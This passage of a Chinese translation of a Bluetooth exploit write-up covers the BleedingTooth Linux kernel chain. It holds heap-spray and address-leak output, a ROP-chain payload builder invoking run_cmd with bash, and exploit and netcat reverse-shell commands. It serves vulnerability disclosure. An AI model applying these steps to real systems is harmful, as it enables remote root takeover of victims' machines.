[ 58.881623] general protection fault: 0000 [#1] SMP PTI [ 58.881639] CPU: 3 PID: 568 Comm: kworker/u9:1 Not tainted 5.4.0-48-generic #52-Ubuntu [ 58.881645] Hardware name: Acer Aspire E5-575/Ironman_SK , BIOS V1.04 04/26/2016 [ 58.881705] Workqueue: hci0 hci_rx_work [bluetooth] [ 58.881725] RIP: 0010:sk_filter_trim_cap+0x65/0x220 [ 58.881734] Code: 00 00 4c 89 e6 48 89 df e8 b8 c5 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 8b 78 18 48 89 4d b0 41 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 [ 58.881740] RSP: 0018:ffffbbccc10d3ca0 EFLAGS: 00010202 [ 58.881748] RAX: 4343434343434343 RBX: ffff96da38f70300 RCX: 0000000000000000 [ 58.881753] RDX: 0000000000000000 RSI: ffff96da62388300 RDI: ffff96da38f70300 [ 58.881758] RBP: ffffbbccc10d3d00 R08: ffff96da38f67700 R09: ffff96da68003340 [ 58.881763] R10: 00000000000301c0 R11: 8075f638da96ffff R12: ffff96da62388300 [ 58.881767] R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000008 [ 58.881774] FS: 0000000000000000(0000) GS:ffff96da69380000(0000) knlGS:0000000000000000 [ 58.881780] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 58.881785] CR2: 000055f861e4bd20 CR3: 000000024c80a001 CR4: 00000000003606e0 [ 58.881790] Call Trace: [ 58.881869] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth] [ 58.881938] l2cap_data_rcv+0x351/0x510 [bluetooth] [ 58.881995] l2cap_data_channel+0x29f/0x470 [bluetooth] [ 58.882054] l2cap_recv_frame+0xe5/0x300 [bluetooth] [ 58.882067] ? __switch_to_asm+0x40/0x70 [ 58.882124] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth] [ 58.882174] hci_rx_work+0x186/0x360 [bluetooth] [ 58.882187] process_one_work+0x1eb/0x3b0 [ 58.882197] worker_thread+0x4d/0x400 [ 58.882207] kthread+0x104/0x140 [ 58.882215] ? process_one_work+0x3b0/0x3b0 [ 58.882223] ? kthread_park+0x90/0x90 [ 58.882233] ret_from_fork+0x35/0x40
检查受害者机器的RDI处的内存地址,我们可以看到:
$ sudo gdb /boot/vmlinuz /proc/kcore (gdb) x/40gx 0xffff96da38f70300 0xffff96da38f70300: 0xffff96da601e7d00 0xffffffffc0d38760 0xffff96da38f70310: 0xffff96da60de2600 0xffff96da61c13400 0xffff96da38f70320: 0x0000000000000000 0x0000000000000001 0xffff96da38f70330: 0x0000000000000000 0x0000000000000000 0xffff96da38f70340: 0xffff96da38f70340 0xffff96da38f70340 0xffff96da38f70350: 0x0000000000000000 0x0000000000000000 0xffff96da38f70360: 0xffff96da38f70360 0xffff96da38f70360 0xffff96da38f70370: 0x0000000000000000 0x0000000000000000 0xffff96da38f70380: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f70390: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f703a0: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f703b0: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f703c0: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f703d0: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f703e0: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f703f0: 0xffffffffffffffff 0xffffffffffffffff 0xffff96da38f70400: 0x4141414141414141 0x4242424242424242 0xffff96da38f70410: 0x4343434343434343 0x4444444444444444 0xffff96da38f70420: 0x4545454545454545 0x4646464646464646 0xffff96da38f70430: 0x4747474747474747 0x4848484848484848
0xffff96da38f70410处的值表明sk_filter()确实试图取消对我们堆喷的偏移量0x10处的指针的引用,从struct amp_mgr的角度来看,偏移量为0x110。
泄漏内存布局
现在,我们有了一种方法来调整堆并为BadKarma攻击做好准备,因此,可以完全控制sk_filter指针。问题是,指针应该指向哪里?为了使该原语有用,我们必须将其指向一个我们可以控制其内容的内存地址。那就是BadChoice漏洞发挥作用的地方。此漏洞有可能泄露内存布局,并帮助我们实现控制地址也已知的内存块的目标。
如前所述,为了利用未初始化的堆栈变量漏洞,我们必须首先发送一些不同的命令,以用有趣的数据(例如,指向堆的指针或与ROP链相关的.text段的指针)填充堆栈帧。然后,我们可以发送攻击命令来接收该数据。
通过尝试一些随机的L2CAP命令,我们可以观察到,事先不使用任何特殊命令就触发BadChoice,就会泄漏指向内核映像的.text段指针。此外,通过发送aL2CAP_CONF_RSP并尝试将A2MP通道重新配置为L2CAP_MODE_ERTM设置,struct l2cap_chan可能会泄漏偏移量为0x110的对象的地址。该对象的大小为792个字节,并在kmalloc-1024 slab中分配。
// pahole -E -C l2cap_chan --hex bluetooth.ko struct l2cap_chan { ... struct delayed_work { struct work_struct { /* typedef atomic_long_t -> atomic64_t */ struct { /* typedef s64 -> __s64 */ long long int counter; /* 0x110 0x8 */ } data; /* 0x110 0x8 */ ... } work; /* 0x110 0x20 */ ... } chan_timer; /* 0x110 0x58 */ ... /* size: 792, cachelines: 13, members: 87 */ /* sum members: 774, holes: 9, sum holes: 18 */ /* paddings: 4, sum paddings: 16 */ /* last cacheline: 24 bytes */ };
事实证明,此对象属于A2MP通道,可以通过销毁该通道将其释放。这是有用的,因为它使我们可以应用与“UAF”攻击相同的策略。
考虑以下技术:
1.泄漏struct l2cap_chan对象的地址。
2.通过销毁A2MP通道释放struct l2cap_chan对象。
3.重新连接A2MP通道,并用堆基元堆喷kmalloc-1024slab。
4.可能会回收前一个struct l2cap_chan对象的地址。
所使用的技术是非常基础的,但是在带有SLUB分配器的Ubuntu上可以可靠地工作。令人担心的是,当重新连接A2MP通道时,前者struct l2cap_chan可能会被新的数据所占据,然后堆喷struct l2cap_chan才能收回该位置。在这种情况下,即使另一个连接已关闭,也可以使用多个连接来继续堆喷。
请注意,在kmalloc-1024 slab中分配对象比kmalloc-128 slab要复杂一些,因为:
· ACL MTU通常小于1024字节(可以使用hciconfig进行检查)。
· A2MP通道的默认MTU为L2CAP_A2MP_DEFAULT_MTU=670字节。
这两个MTU限制都很容易绕过,我们可以通过将请求分成多个L2CAP数据包来绕过ACL MTU,并且可以通过发送L2CAP_CONF_MTU响应并将其配置为0xffff字节来绕过A2MP MTU 。
让我们尝试一下该技术:
$ gcc -o exploit exploit.c -lbluetooth && sudo ./exploit XX:XX:XX:XX:XX:XX [*] Opening hci device... [*] Connecting to victim... [+] HCI handle: 100 [*] Connecting A2MP channel... [*] Leaking A2MP kernel stack memory... [+] Kernel address: ffffffffad2001a4 [+] KASLR offset: 2b600000 [*] Preparing to leak l2cap_chan address... [*] Leaking A2MP kernel stack memory... [+] l2cap_chan address: ffff98ee5c62fc00 [*] Spraying kmalloc-1024...
请注意,两个泄漏的指针的最高有效字节是不同的。通过观察较高的字节,我们可以进行有根据的猜测,或查看Linux文档,以确定它们是否属于段,堆或堆栈。为了确认我们确实能够回收struct l2cap_chan的地址,我们可以使用以下方法检查受害者计算机上的内存:
$ sudo gdb /boot/vmlinuz /proc/kcore (gdb) x/40gx 0xffff98ee5c62fc00 0xffff98ee5c62fc00: 0x4141414141414141 0x4242424242424242 0xffff98ee5c62fc10: 0x4343434343434343 0x4444444444444444 0xffff98ee5c62fc20: 0x4545454545454545 0x4646464646464646 0xffff98ee5c62fc30: 0x4747474747474747 0x4848484848484848 ... 0xffff98ee5c62fd00: 0x6161616161616161 0x6262626262626262 0xffff98ee5c62fd10: 0x6363636363636363 0x6464646464646464 0xffff98ee5c62fd20: 0x6565656565656565 0x6666666666666666 0xffff98ee5c62fd30: 0x6767676767676767 0x6868686868686868
请注意,堆喷内存很有用,因为这样可以使我们立即识别出内存块,并了解在遇到异常时哪些偏移量将被取消引用。
利用链组合
现在,我们拥有完成RCE所需的所有原语:
1.我们可以控制一个其地址已知的存储块。
2.我们可以泄漏一个.text段指针,并构建一个ROP链,该链可以存储在有效负载中。
3.我们可以完全控制该sk_filter字段并将其指向我们的有效负载。
实现RIP控制
让我们回顾一下sk_filter_trim_cap(),并了解为什么需要获取sk_filter的控制权。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap) { ... rcu_read_lock(); filter = rcu_dereference(sk->sk_filter); if (filter) { struct sock *save_sk = skb->sk; unsigned int pkt_len; skb->sk = sk; pkt_len = bpf_prog_run_save_cb(filter->prog, skb); skb->sk = save_sk; err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM; } rcu_read_unlock(); return err; }
由于我们控制filter的值,因此还可以通过在有效负载filter->prog中的偏移量0x18处放置一个指针来进行控制,这是prog的偏移量:
// pahole -E -C sk_filter --hex bluetooth.ko struct sk_filter { ... struct bpf_prog * prog; /* 0x18 0x8 */ /* size: 32, cachelines: 1, members: 3 */ /* sum members: 28, holes: 1, sum holes: 4 */ /* forced alignments: 1, forced holes: 1, sum forced holes: 4 */ /* last cacheline: 32 bytes */ } __attribute__((__aligned__(8)));
struct buf_prog结构为:
// pahole -E -C bpf_prog --hex bluetooth.ko struct bpf_prog { ... unsigned int (*bpf_func)(const void *, const struct bpf_insn *); /* 0x30 0x8 */ union { ... struct bpf_insn { /* typedef __u8 */ unsigned char code; /* 0x38 0x1 */ /* typedef __u8 */ unsigned char dst_reg:4; /* 0x39: 0 0x1 */ /* typedef __u8 */ unsigned char src_reg:4; /* 0x39:0x4 0x1 */ /* typedef __s16 */ short int off; /* 0x3a 0x2 */ /* typedef __s32 */ int imm; /* 0x3c 0x4 */ } insnsi[0]; /* 0x38 0 */ }; /* 0x38 0 */ /* size: 56, cachelines: 1, members: 20 */ /* sum members: 50, holes: 1, sum holes: 4 */ /* sum bitfield members: 10 bits, bit holes: 1, sum bit holes: 6 bits */ /* last cacheline: 56 bytes */ };
bpf_prog_run_save_cb()函数将filter->prog传递给BPF_PROG_RUN():
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog *prog, struct sk_buff *skb) { ... res = BPF_PROG_RUN(prog, skb); ... return res; } static inline u32 bpf_prog_run_save_cb(const struct bpf_prog *prog, struct sk_buff *skb) { u32 res; migrate_disable(); res = __bpf_prog_run_save_cb(prog, skb); migrate_enable(); return res; }
bpf_dispatcher_nop_func()用ctx将prog->insnsi和prog->bpf_func()作为参数:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h #define __BPF_PROG_RUN(prog, ctx, dfunc) ({ \ u32 ret; \ cant_migrate(); \ if (static_branch_unlikely(&bpf_stats_enabled_key)) { \ ... ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \ ... } else { \ ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \ } \ ret; }) #define BPF_PROG_RUN(prog, ctx) \ __BPF_PROG_RUN(prog, ctx, bpf_dispatcher_nop_func)
最后,调度prog->bpf_func()程序使用ctx和prog->insnsi作为参数调用处理程序:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf.h static __always_inline unsigned int bpf_dispatcher_nop_func( const void *ctx, const struct bpf_insn *insnsi, unsigned int (*bpf_func)(const void *, const struct bpf_insn *)) { return bpf_func(ctx, insnsi); }
参数传递链:
sk->sk_filter->prog->bpf_func(skb, sk->sk_filter->prog->insnsi);
由于我们可以控制sk->sk_filter,因此也可以控制后面的两个取消引用,最终可以通过RSI寄存器(第二个参数)指向我们的有效负载进行RIP控制。
内核堆栈劫持
由于现代CPU具有NX,因此无法直接执行shellcode。但是,我们可以执行代码重用攻击,例如ROP / JOP。当然,为了重用代码,我们必须知道代码的位置,这就是为什么必须pypass KASLR的原因。关于可能的攻击,ROP通常比JOP更容易执行,但这需要我们重定向RSP堆栈指针。因此,漏洞利用开发人员通常会执行JOP进行堆栈迁移,然后完成ROP链。
这个想法是将堆栈指针重定向到包含ROP gadget(即ROP链)的有效负载中的伪堆栈。由于知道RSI指向有效负载,因此我们希望将RSI的值移到RSP。让我们看看是否有一个 gadget可以让这样做。
要提取 gadget,我们可以使用以下工具:
· extract-vmlinux解压缩/boot/vmlinuz。
· ROPgadget可从中提取ROP gadgetvmlinux。
在寻找类似mov rsp, X ; ret的 gadget时,我们发现找不到。
$ cat gadgets.txt | grep ": mov rsp.*ret" 0xffffffff8109410c : mov rsp, qword ptr [rip + 0x15bb0fd] ; pop rbx ; pop rbp ; ret 0xffffffff810940c2 : mov rsp, qword ptr [rsp] ; pop rbp ; ret 0xffffffff8108ef0c : mov rsp, rbp ; pop rbp ; ret
有类似push rsi ; pop rsp ; ret的gadget
$ cat gadgets.txt | grep ": push rsi.*pop rsp.*ret" 0xffffffff81567f46 : push rsi ; adc al, 0x57 ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 0xffffffff8156a128 : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret 0xffffffff81556cad : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 0xffffffff81c02ab5 : push rsi ; lcall [rbx + 0x41] ; pop rsp ; pop rbp ; ret 0xffffffff8105e049 : push rsi ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 0xffffffff81993887 : push rsi ; xchg eax, ecx ; lcall [rbx + 0x41] ; pop rsp ; pop r13 ; pop rbp ; ret
有很多可以使用的 gadget。有趣的是,所有 gadget都取消引用RBX + 0x41,这很可能是常用指令或指令序列的一部分。详细地说,由于指令可以在x86中的任何字节处开始,因此可以根据起始字节对它们进行不同的解释。取消引用RBX + 0x41实际上可能会阻止我们使用 gadget。也就是说,如果RBX在执行时不包含可写的bpf_func()内存地址,将在执行ROP链之前出现异常。幸运的是,在这种情况下,RBX指向struct amp_mgr对象,并且如果偏移量0x41处的字节被更改,它并不会出现异常。
当将 gadget作为bpf_func()函数指针触发,RSI值将被压入堆栈中,然后从堆栈中弹出,最后分配到RSP。换句话说,堆栈指针将指向我们的有效负载,一旦执行了RET指令,ROP链就会开始执行。
static void build_payload(uint8_t data[0x400]) { // Fake sk_filter object starting at offset 0x300. *(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320; // prog // Fake bpf_prog object starting at offset 0x320. // RBX points to the amp_mgr object. *(uint64_t *)&data[0x350] = kaslr_offset + PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func *(uint64_t *)&data[0x358] = 0xDEADBEEF; // rbp // Build kernel ROP chain that executes run_cmd() from kernel/reboot.c. // Note that when executing the ROP chain, the data below in memory will be // overwritten. Therefore, the argument should be located after the ROP chain. build_krop_chain((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0); strncpy(&data[0x3c0], remote_command, 0x40); }
这样,就可以实现远程代码执行,要调试我们的堆栈迁移并查看是否成功,我们可以设置*(uint64_t *)&data[0x360]=0x41414141并观察受控的异常情况。
内核ROP链执行
现在,我们可以编写一个大的ROP链来检索和执行有效载荷,或者编写一个较小的ROP链来允许我们运行任意命令。出于漏洞验证的目的,我们能够获得反向shell就可以了,因此执行命令对我们来说就足够了。受到CVE-2019-18683(在V4L2子系统中利用Linux内核漏洞)文章中描述的ROP链的启发,我们将构建一条链,该链run_cmd()使用/bin/bash -c /bin/bash
https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html
要确定这两种方法的偏移量,我们可以简单地检查受害者机器上的实时符号:
$ sudo cat /proc/kallsyms | grep "run_cmd\|do_task_dead" ffffffffab2ce470 t run_cmd ffffffffab2dc260 T do_task_dead
此处,KASLR偏移为0x2a200000,可以通过对_text符号进行grep运算并减去0xffffffff81000000以下公式来计算得出:
$ sudo cat /proc/kallsyms | grep "T _text" ffffffffab200000 T _text
从之前的两个地址中减去偏移可得出:
#define RUN_CMD 0xffffffff810ce470 #define DO_TASK_DEAD 0xffffffff810dc260
最后,我们可以找到pop rax ; ret,pop rdi ; ret的 gadget和jmp rax使用ROPgadget,然后可以根据此示例构造内核ROP链:
static void build_krop_chain(uint64_t *rop, uint64_t cmd_addr) { *rop++ = kaslr_offset + POP_RAX_RET; *rop++ = kaslr_offset + RUN_CMD; *rop++ = kaslr_offset + POP_RDI_RET; *rop++ = cmd_addr; *rop++ = kaslr_offset + JMP_RAX; *rop++ = kaslr_offset + POP_RAX_RET; *rop++ = kaslr_offset + DO_TASK_DEAD; *rop++ = kaslr_offset + JMP_RAX; }
该ROP链应放置在伪造struct bpf_prog对象内的偏移量0x40处,并且cmd_addr应指向植入内核内存的bash命令。在正确的地方放置所有内容,我们最终可以从受害者那里获得root shelll。
0x04 漏洞验证代码
漏洞验证代码可从以下链接中获取:
https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth
使用以下命令进行编译:
$ gcc -o exploit exploit.c -lbluetooth
执行:
$ sudo ./exploit target_mac source_ip source_port
在另一个终端中运行:
$ nc -lvp 1337 exec bash -i 2>&0 1>&0
如果成功,可以使用以下命令弹出Calc:
export XAUTHORITY=/run/user/1000/gdm/Xauthority export DISPLAY=:0 gnome-calculator
有时,受害者可能会以dmesg格式打印Bluetooth: Trailing bytes: 6 in sframe。如果kmalloc-128slab 堆喷失败,则会发生这种情况。在这种情况下,我们需要重复利用。
0x05 分析总结
从零开始到发现蓝牙HCI协议中的三个漏洞的路径出乎意料的。当我第一次发现BadVibes漏洞,我认为它只能由恶意的蓝牙芯片触发,因为该漏洞似乎太明显了。由于我没有两个带有蓝牙5的可编程设备,因此无法验证是否有可能收到这么大的report。仅在将Linux蓝牙堆栈与其他实现进行比较并阅读了规范之后,我得出的结论是,我实际上已经发现了我的第一个RCE漏洞,然后我立即去购买了另一台笔记本电脑。分析溢出后,很快就知道还需要一个附加的信息泄漏漏洞。比我想的要快得多,仅两天后我就发现了BadChoice。在尝试触发它时,我发现了BadKarma漏洞。事实证明,绕过它非常容易,并且该漏洞实际上是另一个严重性较高的安全漏洞。研究Linux蓝牙堆栈和开发RCE漏洞具有挑战性,但又令人兴奋,特别是因为这是我第一次调试Linux内核。
我将从这项研究中获得的知识转化为对syzkaller的贡献从而对/dev/vhci设备进行模糊测试,并发现了40多个其他漏洞。尽管大多数漏洞不太可能被利用,甚至无法远程触发,但它们使工程师能够识别并修复其他弱点。
https://github.com/google/syzkaller/commits?author=TheOfficialFloW https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b50dc237ac04d499ad4f3a92632470a9eb844f7d https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=cafd472a10ff3bccd8afd25a69f20a491cd8d7b8 https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=51c19bf3d5cfaa66571e4b88ba2a6f6295311101
发表评论